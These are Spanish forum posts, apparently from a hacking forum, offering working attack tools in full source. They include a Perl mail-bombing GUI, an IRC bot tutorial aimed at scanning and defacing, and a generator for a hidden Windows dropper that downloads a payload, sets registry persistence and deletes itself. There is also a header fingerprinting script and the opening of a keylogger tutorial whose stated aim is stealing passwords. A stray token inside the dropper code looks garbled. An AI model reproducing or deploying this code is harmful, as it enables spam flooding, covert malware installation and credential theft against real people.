    -text       => "Hi idiot",
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 73, -y => 273 );

$ve->Label(
    -text       => "Body",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 310 );
my $body = $ve->Scrolled(
    "Text",
    -width      => 30,
    -height     => 12,
    -background => $color_fondo,
    -foreground => $color_texto,
    -scrollbars => "e"
)->place( -x => 45, -y => 350 );
$body->insert( "end", "Welcome to the hell" );

$ve->Label(
    -text       => "Mailist",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 400 );
my $mailist = $ve->Listbox(
    -height     => 31,
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 85, -x => 330 );

$ve->Label(
    -text       => "Console",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 685 );
my $console = $ve->Scrolled(
    "ROText",
    -width      => 40,
    -height     => 31,
    -background => $color_fondo,
    -foreground => $color_texto,
    -scrollbars => "e"
)->place( -x => 580, -y => 84 );

MainLoop;

sub addmailist {

    my $adda = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $adda->geometry("400x90+20+20");
    $adda->resizable( 0, 0 );
    $adda->title("Add Mailist");

    $adda->Label(
        -text       => "Mailist : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $en = $adda->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 75 );
    $adda->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&brona
    )->place( -y => 33, -x => 285 );
    $adda->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxa
    )->place( -y => 33, -x => 340 );

    sub brona {
        $browse = $adda->FileSelect( -directory => getcwd() );
        my $file = $browse->Show;
        $en->configure( -text => $file );
    }

    sub bronaxa {
        open( FILE, $en->get );
        @words = <FILE>;
        close FILE;

        for (@words) {
            $mailist->insert( "end", $_ );
        }
    }
}

sub addfile {

    my $addax = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $addax->geometry("390x90+20+20");
    $addax->resizable( 0, 0 );
    $addax->title("Add File");

    $addax->Label(
        -text       => "File : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $enaf = $addax->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 55 );
    $addax->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronax
    )->place( -y => 33, -x => 265 );
    $addax->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxx
    )->place( -y => 33, -x => 320 );

    sub bronax {
        $browse = $addax->FileSelect( -directory => getcwd() );
        my $filea = $browse->Show;
        $enaf->configure( -text => $filea );
    }

    sub bronaxx {
        $fi->configure( -text => $enaf->get );
    }
}

sub addmail {

    my $add = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $add->geometry("350x90+20+20");
    $add->resizable( 0, 0 );
    $add->title("Add Mail");

    $add->Label(
        -text       => "Mail : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $ew = $add->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 60 );
    $add->Button(
        -text             => "Add",
        -background       => $color_fondo,
        -activebackground => $color_texto,
        -foreground       => $color_texto,
        -width            => 7,
        -command          => \&addnow
    )->place( -y => 33, -x => 275 );

    sub addnow {
        $mailist->insert( "end", $ew->get );
    }

}

sub delist {
    $mailist->delete( 0.0, "end" );
}

sub spamnow {

    $console->delete( 0.1, "end" );

    $console->insert( "end", "[+] Starting the Party\n\n" );

    my @mails = $mailist->get( "0.0", "end" );
    chomp @mails;
    for my $mail (@mails) {

        my $text = $body->get( "1.0", "end" );

        if ( $fi->get eq "None" ) {

            for ( 1 .. $number->get ) {

                $ve->update;
                $console->insert( "end",
                    "[+] Mail Number " . $_ . " to $mail\n" );

                sendmail(
                    "smtp.gmail.com", "465",
                    $user->get,       $pass->get,
                    $user->get,       $user->get,
                    $user->get,       $mail,
                    $tema->get,       $text,
                    ""
                );
            }

        }
        else {

            for ( 1 .. $number->get ) {

                $ve->update;
                $console->insert( "end",
                    "[+] Mail Number " . $_ . " to $mail\n" );

                sendmail(
                    "smtp.gmail.com", "465",
                    $user->get,       $pass->get,
                    $user->get,       $user->get,
                    $user->get,       $mail,
                    $tema->get,       $text,
                    $fi->get
                );
            }

        }
    }
    $console->insert( "end", "\n\n[+] Finished" );

}

sub clean {

    $user->configure( -text => " " );
    $pass->configure( -text => " " );
    $number->configure( -text => " " );
    $fi->configure( -text => "None" );
    $tema->configure( -text => " " );
    $body->delete( 0.1, "end" );
    $mailist->delete( 0.0, "end" );
    $console->delete( 0.1, "end" );

}

sub about {
    $about = MainWindow->new( -background => "black" );
    $about->title("About");
    $about->geometry("300x110");
    $about->resizable( 0, 0 );
    $about->Label( -background => "black", -foreground => "white" )->pack();
    $about->Label(
        -text       => "Contact : lepuke[at]hotmail[com]",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
    $about->Label(
        -text       => "Web : doddyhackman.webcindario.com",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
    $about->Label(
        -text       => "Blog : doddy-hackman.blogspot.com",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
}

sub chali { exit(1); }

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

#The End ?


#155
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando
0x08 : Bibliografia

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual sobre como hacer un bot irc.

Para este manual necesitan tener instalado TIdIRC y TPerlRegEx en Delphi , el primero me vino por defecto en Delphi 2010 y el segundo lo pueden bajar e instalar aca

Nota : Proximamente presentare mi irc bot llamado Claptrap en honor al robot de bordelands xDD.

¿ Que es IRC ?

Segun wikipedia , IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real basado en texto, que permite debates entre dos o más personas. Se diferencia de la mensajería instantánea en que los usuarios no deben acceder a establecer la comunicación de antemano, de tal forma que todos los usuarios que se encuentran en un canal pueden comunicarse entre sí, aunque no hayan tenido ningún contacto anterior. Las conversaciones se desarrollan en los llamados canales de IRC, designados por nombres que habitualmente comienzan con el carácter # o & (este último sólo es utilizado en canales locales del servidor). Es un sistema de charlas ampliamente utilizado por personas de todo el mundo.

0x02 : Conectando con el servidor

Lo de siempre , creamos un proyecto nuevo de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho esto vamos a crear la interfaz para todo el manual.

Lo que vamos a necesitar es usar :

6 Labels
3 Edit
3 Botones
1 ListBox (para los usuarios conectados)
2 Memo

Y los componentes TPerlRegEx y IdIRC

Una imagen de como deberia quedar :



Una vez hecho esto llego la hora de realizar la conexion , entonces hacemos doble click en el boton de "conectar" o el nombre que le pusieron ustedes para poner el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);
begin

 IdIRC1.Host := Edit1.Text; // Usamos el contenido de Edit1 para reconocer el host a conectarse
 IdIRC1.Port := 6667; // Usamos 6667 para el puerto del host
 IdIRC1.Nickname := Edit3.Text; // Usamos el contenido de Edit3.Text como nickname
 IdIRC1.Username := Edit3.Text + ' 1 1 1 1';
 // Declaramos el username para entrar
 IdIRC1.AltNickname := Edit3.Text + '-123'; // Declaramos el nick alternativo

 try // Intentamos hacer esto ....

   begin

     IdIRC1.Connect; // Iniciamos la conexion
     IdIRC1.Join(Edit2.Text); // Usamos Edit2 como el nombre del canal a entrar

   end;

 except // Si algo sale mal ...
   begin
     ShowMessage('Error'); // Mostramos error con ShowMessage()

   end;
 end;

end;


Una imagen de como quedo :



Con esto ya tenemos la conexion entonces usamos el segundo boton llamado "desconectar" o el nombre que ustedes le pusieron , hacemos doble click y agregamos este codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button2Click(Sender: TObject);
begin
 IdIRC1.Disconnect; // Nos desconectamos del canal en el que estamos
end;


Se podria decir que con esto ya tenemos para conectarnos y desconectarmos del canal sin ningun problema.

Pero para variar las cosas vamos a usar el memo1 como consola de las cosas que pasan durante la conexion , entonces vamos al diseño del formulario , buscamos el IdIRC1 , le hacemos un solo click y nos fijamos en object inspector para despues ir
a la parte de eventos , buscamos el evento OnRaw , le hacemos doble click y agregamos este codigo :

Código (delphi) [Seleccionar]

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
 const AMessage: string);
begin
 Memo1.Lines.Add(AMessage); // Agregamos al memo1 lo que AMessage recibe
end;


Una imagen de donde esta la parte del evento y de paso muestro como quedo el codigo :



Eso seria la parte de como conectarnos y desconectarnos de un canal irc.

0x03 : Listando usuarios

Esta es la parte en la que usamos PerlRegEx , que es un componente que nos permite usar las expresiones regualares de Perl en Delphi.

Entonces buscamos el evento "NicknamesListReceived" en el componente IdIRC1 que esta en el formulario para hacer doble click en el evento y poner el siguiente codigo.

Código (delphi) [Seleccionar]

procedure TForm1.IdIRC1NicknamesListReceived
 (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
var
 i: integer; // Declaramos i como entero
 i2: integer; // Declaramos i2 como entero
 renicks: string; // Declaramos renicks como string
 listanow: TStringList; // Declaramos listanow como StringList
 arraynow: array of String; // Declaramos arraynow como array of string

begin

 ListBox1.Clear; // Limpiamos el contenido de ListBox1

 for i := 0 to ANicknameList.Count - 1 do // Listamos con for los nicks que se encuentran
 // en ANicknameList
 begin

   PerlRegEx1.Regex := '(.*) = ' + Edit2.Text + ' :(.*)';
   // Establecemos la expresion regular
   // a usar

   PerlRegEx1.Subject := ANicknameList[i]; // Buscamos el nick en ANicknameList

   if PerlRegEx1.Match then // Si perlregex encuentra algo ...
   begin
     renicks := PerlRegEx1.SubExpressions[2]; // Declaramos como renicks el segundo resultado de
     // la expresion regular

     renicks := StringReplace(renicks, Edit3.Text, '', []);
     // Borramos de renicks el nombre
     // de nuestro bot

     listanow := TStringList.Create; // Declaramos como TStringList a listanow
     listanow.Delimiter := ' '; // Establecemos que se busque los nicks entre espacios en blanco
     listanow.DelimitedText := renicks; // Realizamos la busqueda

     for i2 := 0 to listanow.Count - 1 do // Listamos la lista 'listanow' que contiene los nicks
     begin
       ListBox1.Items.Add(listanow[i2]); // Agregamos a ListBox1 los nicks encontrados
     end;

   end;

 end;

end;


Les dejo una imagen de como nos deberia quedar el codigo y de donde esta el evento que usamos.



0x04 : Mandar mensajes

Mandar mensajes usando el componente de indy es muy facil , solo tenemos que hacer doble click en el tercer boton , en mi caso le puse de texto "spam now" , ustedes pueden
ponerle el que quieran , cuando este en el codigo del formulario en la parte del tercer boton pongan el siguiente codigo.

Código (delphi) [Seleccionar]

procedure TForm1.Button3Click(Sender: TObject);
var
 i: integer; // Declaramos i como entero
begin
 IdIRC1.Say(Edit2.Text, 'hola publico'); // Mandamos un mensaje publico al canal en el que
 // estamos
 for i := 0 to ListBox1.Count - 1 do // Abrimos los items de listbox usando un for
 begin
   IdIRC1.Say(ListBox1.Items[i], 'hola privado');
   // Mandamos un privado al nick de la lista
 end;

end;


Una imagen de como les deberia quedar el codigo :



0x05 : Recibir privados

Otra cosa facil de hacer gracias a el componente de indy es que se pueden recibir y leer los mensajes privados que nos mandan , para hacer esto vamos al evento OnPrivateMessage de IdIRC y ponemos
el siguiente codigo.

Código (delphi) [Seleccionar]

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
 AHost, ANicknameTo, AMessage: string);
begin
 Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname
 // de quien nos esta mandando el mensaje y ':' que separa el nick del mensaje que nos
 // enviaron
end;


Una imagen de donde esta el evento y como quedo el codigo.



0x06 : Reconocer comandos

Esta es la parte mas importante en un irc bot , que es para poder mandar comandos al bot o hacer cierta cosa como un SQLiScanner o AdminFinder u otra cosa para dichoso
Defacing.

Para hacer esto nos vamos a basar en mensajes privados , de esa forma no estamos delatando al bot en el canal publico , entonces volvemos al evento OnPrivateMessage del punto
anterior para actualizarlo con este codigo nuevo :

Código (delphi) [Seleccionar]

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
 AHost, ANicknameTo, AMessage: string);
begin

 Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage);

 // Mostramos en el memo3 el nickname
 // de quien nos esta mandando el mensaje y tambien ':' que separa el nick del mensaje que nos
 // enviaron

 PerlRegEx1.Regex := '!help'; // Usamos esta linea para comprobar si AMessage contiene !help
 PerlRegEx1.Subject := AMessage; // Buscamos en  AMessage

 if PerlRegEx1.Match then // Si se encontro ....
 begin
   IdIRC1.Say(ANicknameFrom,
     'el comando disponible es : !scanear <cmd1> <cmd2>');
   // Respondemos
   // con el unico comando disponible
 end;

 PerlRegEx1.Regex := '!scanear (.*) (.*)'; // Capturamos lo que se encuentre a la derecha de
 // !scanear y hacemos un espacio para capturar lo que
 // esta al lado de lo que encontramos
 // en realidad son dos comandos
 PerlRegEx1.Subject := AMessage; // Buscamos los dos comandos en AMessage que
 // contiene el mensaje que nos estan enviando

 if PerlRegEx1.Match then // Si se encontro algo ...
 begin
   IdIRC1.Say(ANicknameFrom, 'comando 1 : ' + PerlRegEx1.SubExpressions[1]);
   // Le respondemos
   // al que nos envio el mensaje privado con el valor del primer comando que nos envio
   IdIRC1.Say(ANicknameFrom, 'comando 2 : ' + PerlRegEx1.SubExpressions[2]);
   // Le respondemos
   // al que nos envio el mensaje privado con el valor del segundo comando que nos envio
 end;

end;


Una imagen de donde esta el evento y de como quedo el codigo.



0x07 : Testeando

Una vez hecho todo esto podemos probar como quedo todo , les dejo unas imagenes que de como
funciona.







Eso seria todo

0x08 : Bibliografia

http://es.wikipedia.org/wiki/Internet_Relay_Chat
http://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy_18.html
http://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy.html

--========--
 The End ?
--========--

Version PDF
#156
Scripting / [Perl Tk] DarkDownloader 0.1
20 Septiembre 2013, 20:56 PM
Un simple script en perl para descargar archivos con las siguientes opciones :

  • Bajar el archivo y cambiar el nombre
  • Mover a otro directorio el archivo descargado
  • Ocultar archivo
  • Cargar cada vez que inicie Windows
  • Autoborrarse despues de terminar todo

    Una imagen :



    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #DarkDownloader 0.1
    #Coded By Doddy H
    #Command : perl2exe -gui gen_download.pl

    use Tk;

    my $color_fondo = "black";
    my $color_texto = "green";

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    my $ven =
      MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
    $ven->geometry("340x320+20+20");
    $ven->resizable( 0, 0 );
    $ven->title("DarkDownloader 0.1");

    $ven->Label(
        -text       => "Link : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 20 );
    my $link = $ven->Entry(
        -text       => "http://localhost/test.exe",
        -width      => 40,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 25 );

    $ven->Label(
        -text       => "-- == Options == --",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact"
    )->place( -x => 90, -y => 60 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Save File with this name : ",
        -variable         => \$op_save_file_name
    )->place( -x => 20, -y => 100 );
    my $save_file_with_name = $ven->Entry(
        -width      => 20,
        -text       => "testar.exe",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 170, -y => 100 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Save File in this directory : ",
        -variable         => \$op_save_in_dir
    )->place( -x => 20, -y => 130 );
    my $save_file_in_this_dir = $ven->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 20,
        -text       => "C:/WINDOWS/sexnow/"
    )->place( -x => 170, -y => 130 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Hide File",
        -variable         => \$op_hide
    )->place( -x => 20, -y => 160 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Load each time you start Windows",
        -variable         => \$op_regedit
    )->place( -x => 20, -y => 190 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "AutoDelete",
        -variable         => \$op_chau
    )->place( -x => 20, -y => 220 );

    $ven->Button(
        -command          => \&genow,
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Generate !",
        -font             => "Impact",
        -width            => 30
    )->place( -x => 40, -y => 260 );

    MainLoop;

    sub genow {

        my $code_now = q(#!usr/bin/perl
    #DarkDownloader 0.1
    #Coded By Doddy H

    use LWP::UserAgent;
    use File::Basename;
    use File::Copy qw(move);
    use Win32::File;
    use Win32::TieRegistry( Delimiter => "/" );
    use Cwd;

    my $nave = LWP::UserAgent->new;
    $nave->agent(
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );
    $nave->timeout(5);

    # Config

    my $link                      = "ACA_VA_TU_LINK";
    my $op_bajar_con_este_nombre  = ACA_VA_TU_OP_NOMBRE;
    my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX";
    my $op_en_este_dir            = ACA_VA_TU_OP_DIR;
    my $op_en_este_dirx           = "ACA_VA_TU_OP_DIRX";
    my $op_ocultar_archivos       = ACA_VA_TU_OP_HIDE;
    my $op_agregar_al_registro    = ACA_VA_TU_OP_REG;
    my $op_chau                   = ACA_VA_TU_CHAU;

    #

    # Download File

    if ( $op_bajar_con_este_nombre eq 1 ) {
        download( $link, $op_bajar_con_este_nombrex );
    }
    else {
        download( $link, basename($link) );
    }

    # Change Directory

    if ( $op_en_este_dir eq 1 ) {

        unless ( -d $op_en_este_dirx ) {
            mkdir( $op_en_este_dirx, 777 );
        }

        if ( $op_bajar_con_este_nombre eq 1 ) {
            move( $op_bajar_con_este_nombrex,
                $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex );
        }
        else {
            move( basename($link), $op_en_este_dirx );
        }

    }

    # HIDE FILES

    if ( $op_ocultar_archivos eq 1 ) {

        hideit( basename($link),                                     "hide" );
        hideit( $op_en_este_dirx,                                    "hide" );
        hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" );

    }

    # REG ADD

    if ( $op_agregar_al_registro eq 1 ) {

        if ( $op_bajar_con_este_nombre eq 1 ) {

            if ( $op_en_este_dir eq 1 ) {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = $op_en_este_dirx
                  . "/"
                  . $op_bajar_con_este_nombrex;
            }
            else {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = getcwd()
                  . "/"
                  . $op_bajar_con_este_nombrex;
            }

        }
        else {

            if ( $op_en_este_dir eq 1 ) {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = $op_en_este_dirx
                  . "/"
                  . basename($link);
            }
            else {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = getcwd()
                  . "/"
                  . basename($link);
            }
        }

    }

    ## Boom !

    if ( $op_chau eq 1 ) {

        unlink($0);

    }

    ##

    sub hideit {
        if ( $_[1] eq "show" ) {
            Win32::File::SetAttributes( $_[0], NORMAL );
        }
        elsif ( $_[1] eq "hide" ) {
       winkey     Win32::File::SetAttributes( $_[0], HIDDEN );
        }
    }

    sub download {
        if ( $nave->mirror( $_[0], $_[1] ) ) {
            if ( -f $_[1] ) {
                return true;
            }
        }
    }

    # The End ?);

        my $link     = $link->get;
        my $new_file = $save_file_with_name->get;
        my $new_dir  = $save_file_in_this_dir->get;

        $code_now =~ s/ACA_VA_TU_LINK/$link/;

        if ( $op_save_file_name eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/;
        }

        $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/;

        if ( $op_save_in_dir eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_DIR/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_DIR/0/;
        }

        $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/;

        if ( $op_hide eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_HIDE/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_HIDE/0/;
        }

        if ( $op_regedit eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_REG/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_REG/0/;
        }

        if ( $op_chau eq 1 ) {
            $code_now =~ s/ACA_VA_TU_CHAU/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_CHAU/0/;
        }

        if ( -f gen_download . pl ) {
            unlink("gen_download.pl");
        }

        open( FILE, ">>gen_download.pl" );
        print FILE $code_now;
        close FILE;

        $ven->Dialog(
            -title            => "Oh Yeah",
            -buttons          => ["OK"],
            -text             => "Enjoy this downloader",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();

    }

    #The End ?
#157
Scripting / [Perl Tk] HTTP FingerPrinting 0.1
14 Septiembre 2013, 00:36 AM
Un simple script en Perl para HTTP FingerPrinting o por lo menos lo intenta xDD.

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#HTTP FingerPrinting 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

print "\n-- == HTTP FingerPrinting 0.1 == --\n";

unless ( $ARGV[0] ) {

    print "\n[+] Sintax : $0 <page> < -fast / -full >\n";

}
else {

    print "\n[+] Getting Data ...\n";

    my $code = $nave->get( $ARGV[0] );

    print "\n----------------------------------------------\n";

    if ( $ARGV[1] eq "-full" ) {

        print $code->headers()->as_string();

    }
    else {

        print "\n[+] Date : " . $code->header('date');
        print "\n[+] Server : " . $code->header('server');
        print "\n[+] Connection : " . $code->header('connection');
        print "\n[+] Content-Type : " . $code->header('content-type');

    }

    print "\n----------------------------------------------\n";

}

print "\n[+] Coded By Doddy H\n";

#The End ?


Tambien hice una version grafica :

Una imagen :



El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#HTTP FingerPrinting 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use LWP::UserAgent;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

my $background_color = "black";
my $foreground_color = "green";

my $ven = MainWindow->new(
    -background => $background_color,
    -foreground => $foreground_color
);
$ven->title("HTTP FingerPrinting 0.1 (C) Doddy Hackman 2013");
$ven->geometry("430x340+20+20");
$ven->resizable( 0, 0 );

$ven->Label(
    -background => $background_color,
    -foreground => $foreground_color,
    -text       => "Target : ",
    -font       => "Impact"
)->place( -x => 20, -y => 20 );
my $target = $ven->Entry(
    -background => $background_color,
    -foreground => $foreground_color,
    -width      => 30,
    -text       => "http://www.petardas.com"
)->place( -x => 80, -y => 25 );
$ven->Button(
    -command          => \&fast,
    -activebackground => $foreground_color,
    -background       => $background_color,
    -foreground       => $foreground_color,
    -text             => "Fast",
    -width            => 10
)->place( -x => 270, -y => 25 );
$ven->Button(
    -command          => \&full,
    -activebackground => $foreground_color,
    -background       => $background_color,
    -foreground       => $foreground_color,
    -text             => "Full",
    -width            => 10
)->place( -x => 345, -y => 25 );
$ven->Label(
    -background => $background_color,
    -foreground => $foreground_color,
    -text       => "OutPut",
    -font       => "Impact"
)->place( -x => 175, -y => 70 );
my $output = $ven->Text(
    -background => $background_color,
    -foreground => $foreground_color,
    -width      => 55,
    -heigh      => 15
)->place( -x => 18, -y => 100 );

MainLoop;

sub fast {

    $output->delete( "0.1", "end" );

    my $code = $nave->get( $target->get );

    $output->insert( "end", "[+] Date : " . $code->header('date') );
    $output->insert( "end", "\n[+] Server : " . $code->header('server') );
    $output->insert( "end",
        "\n[+] Connection : " . $code->header('connection') );
    $output->insert( "end",
        "\n[+] Content-Type : " . $code->header('content-type') );

}

sub full {

    $output->delete( "0.1", "end" );

    my $code = $nave->get( $target->get );

    $output->insert( "end", $code->headers()->as_string() );

}

#The End ?
#158
[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando

-- =================--------


0x01 : Introduccion

Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi.

Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas.

En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.

0x02 : Capturar teclas

Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :



Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.

Código (delphi) [Seleccionar]

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer; // Declaramos la variable i como entero
  re: Longint; // Declaramos la variable re como longint
  mayus: integer; // Declaramos la variable mayus como entero

begin

  if (GetKeyState(20) = 0) then // Si se presiona mayus
  begin
    mayus := 32; // Le ponemos el valor de 32 a la variable mayus
  end
  else
  begin
    mayus := 0; // Le ponemos el valor de 0 la variable mayus
  end;

  for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z
  begin

    re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada
    If re = -32767 then // Contolamos que la variable re sea igual a -32767
    Begin

      Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra
      // Mas la variabe mayus
    End;
  end;

end;


Una imagen con todo el codigo comentado :



Con esto ya tenemos para capturar las teclas.

0x03 : Capturar ventanas

Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente :

Código (delphi) [Seleccionar]

private Nombre2: string;


Con este declaramos el nombre de la ventana que es nombre2 como privado.

Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char
  nombre1: string; // Declaramos nombre1 como string

  // Add :
  // private
  // Nombre2: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  // Capturamos el nombre de la
  // ventana

  nombre1 := ventana1; // nombre1 tendra el valor de ventana1

